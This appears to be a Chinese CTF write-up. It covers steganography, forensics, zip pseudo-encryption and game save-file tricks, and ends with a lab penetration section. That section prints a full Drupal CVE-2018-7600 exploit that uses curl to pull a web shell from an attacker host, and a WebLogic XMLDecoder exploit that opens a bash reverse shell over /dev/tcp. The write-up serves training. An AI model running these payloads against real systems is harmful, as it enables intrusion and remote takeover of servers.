key{forensics_is_fun}
Mp3stego工具可以将信息隐藏到MP3中,并需用密钥解密。
Mp3stego工具:http://www.petitcolas.net/steganography/mp3stego/
直接用工具解密得到flag。
真香
下载zhenxiang.gif,放到binwalk中分析,发现有zip文件。
-e
参数提取出来。
得到一个加密的压缩包,注释blind_water_mark
是压缩包密码。
解压得到or.png
和xor.png
两张图片。
注释同时也是提示,两张图片用盲水印攻击即可getflag。
BlindWaterMark工具:https://github.com/chishaxie/BlindWaterMark
flag:
找到了也打不开
题目是一个pcap的数据包,打开后发现数据包里的数据有很多,但是http的只有一条,查看这条http数据包,发
现数据内容为一个.zip的压缩包,那思路就很简单了,把这个zip文件里的内容提取出来,保存为一个压缩包文件,
但是解压需要密码,没有任何提示的情况下爆破是不可能的,用winhex或者UE等软件查看下十六进制文件,发现
是zip的伪加密,修改下zip的加密标志即可打开压缩包得到Flag。
I_wanna_get_the_flag
GameMarker 8.0制作的I wanna 游戏。(原名:I wanna be the GGM)
描述通关之后有flag。
3种解题方法
1-通关游戏
既然是通关之后,那么凭技术通关也是没问题的。
2-修改save文件。
通过存档,玩游戏搞清save文件的格式,用16进制编辑。
标出的两位就是关卡的标志,题目说有12关,那么,把0112
修改为011E
,再进入游戏就可以得到flag。
3-反编译
下载GameMarker 8.0 Decompiler,将exe进行反编译。得到工程文件gmk,下载一个GameMarker 8.0版本即可读取到所有资源,找到通关后场景就可以得到flag。
取证
vmdk文件其实是物理硬盘的虚拟版,也存在着跟物理硬盘的分区和扇区中类似的填充区域。我们可以利用VMware直接映射虚拟磁盘。
磁盘空间内只有一个nothing.rar,解压后得到nothing.gif,为NTFS数据流隐写。所以压缩包需要使用WinRAR进行解压。
用lads.exe递归查询可看到flag.gif
使用Ntfs Streams Editor提取
对gif图分帧处理,得到最终flag。
详细解析及原理见
靶场渗透
网上搜下drupal的的漏洞,找到poc
#!/usr/bin/env python3
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
target = 'http://192.168.211.105/'
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'curl http://192.168.211.127:2333/shell.php| tee shell.php'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'shell.php', verify=verify)
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
本地起个环境,利用curl来getshell
拿到shell利用msf丢个马上去
扫一波发现了10.0.0.3
开着7001端口,weblogic
网上找下poc
#encoding: utf-8
import requests
headers = { 'Content-type': 'text/xml' }
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.211.149/12222 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
def exp(ip):
print("Test for " + ip + " .....")
r = requests.post(url=ip,data=data,headers=headers)
print(r.status_code)
print(r.text)
if __name__ == '__main__':
ip = "http://10.0.0.3:7001/wls-wsat/CoordinatorPortType11"
exp(ip)
修改下proxychains.conf加上代理,本地监听一下拿到shell